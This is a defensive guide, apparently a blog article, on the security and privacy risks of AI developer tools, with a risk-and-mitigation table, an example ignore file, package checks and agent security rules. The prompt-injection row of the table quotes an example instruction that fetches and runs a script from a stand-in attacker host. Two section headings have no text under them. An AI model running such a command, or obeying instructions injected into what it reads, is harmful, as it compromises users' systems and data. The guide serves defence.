Security and Privacy Risks of AI Developer Tools (and How to Manage Them)
Manage the risks of AI coding tools: code and data leakage, prompt injection, insecure suggestions, hallucinated packages, agent permissions and licensing.
Published November 27, 2026
AI developer tools touch source code, terminals, credentials, tickets and sometimes production systems. That access is what makes them useful and what makes them a security concern. Most risks are manageable with sensible policies and configuration, but they need to be thought through before a tool is rolled out to a whole engineering organisation.
The concept
The first category is data exposure: code, secrets and customer data sent to a third-party service. Enterprise plans from major vendors usually offer contractual no-training commitments, limited retention, regional processing and admin controls, but defaults on personal or free plans can differ. Secrets in prompts or in files an agent reads are the most common accidental leak.
The second category is unsafe output and actions. Models can suggest insecure code (SQL injection, weak crypto, missing authorisation checks), invent package names that attackers then register ("slopsquatting"), or reproduce code under restrictive licenses. Agents add a new class of risk: prompt injection, where instructions hidden in a web page, issue, document or dependency README try to make the agent run commands or exfiltrate data. Treat everything an agent reads from outside as untrusted data, not instructions.
Risks and mitigations
| Risk | Example | Mitigation |
|---|---|---|
| Code / data leakage | Proprietary code sent to a consumer plan | Enterprise plans, no-training terms, admin policies |
| Secrets exposure | .env file read into context | Ignore files, secret scanning, no prod creds on dev machines |
| Insecure suggestions | String-built SQL, missing auth checks | Code review, SAST, secure coding guidelines in instructions |
| Hallucinated packages | npm install of a non-existent (or malicious) package | Verify packages, lockfiles, dependency allow-lists |
| Prompt injection | Issue text says "run curl attacker.sh | sh" | Permission prompts, sandboxing, treat external content as data |
| Over-privileged agents | Agent with cloud admin keys | Least privilege, separate credentials, human approval for risky actions |
| Licensing | Verbatim copyleft code in proprietary repo | Vendor filters, license scanning, review |
How prompt injection works
Layers of control
A simple policy that works
Most organisations do well with a one-page policy: which tools and plans are approved, what data may never be shared (secrets, customer personal data, regulated data), required settings (no-training, retention limits), rules for agents (no production credentials, approval for destructive or network commands), and the reminder that the developer who merges code is accountable for it, whoever wrote it.
Practical examples
Keep secrets out of reach
Use ignore files supported by your tools, and scan for secrets in CI.
# .gitignore and tool-specific ignore files
.env
.env.*
*.pem
secrets/
# CI secret scanning
gitleaks detect --source . --redactVerify a suggested package before installing
Check it exists, is maintained, and is the one you meant.
npm view left-pad-utils name version repository.url time.modified 2>/dev/null || echo "does not exist"
pip index versions requests-toolkit 2>/dev/null || echo "not on PyPI"Security guidance in the agent instructions file
Tell the assistant your security rules explicitly.
## Security rules
- Never read or print files in secrets/ or any .env file
- All SQL must use parameter binding; no string concatenation
- Outbound HTTP to user-supplied URLs only through SafeHttpClient
- Do not add dependencies without askingCommon mistakes
- Allowing personal free-tier accounts for company code without checking data terms.
- Running agents on machines that hold production credentials.
- Auto-approving every command an agent proposes.
- Installing packages an assistant suggests without verifying them.
- Assuming AI-written code is secure because it looks professional.
Key takeaways
- Data exposure, unsafe output, prompt injection and over-privileged agents are the main risks.
- Use enterprise terms, ignore files and secret scanning to control data.
- Treat external content as untrusted and gate risky agent actions behind approval.
- Keep review, SAST, dependency and license scanning in the pipeline.
FAQ
Is it safe to use AI tools on proprietary code?
Generally yes on business or enterprise plans with appropriate terms and settings. Read the vendor's data usage policy and involve your security team.
What is prompt injection in simple terms?
Text crafted to look like instructions to the AI, hidden in content it processes, such as a web page, issue or file, trying to make it do something the user did not ask for.
Who is responsible for AI-generated code?
The developer and team who review and merge it, exactly as with any other code.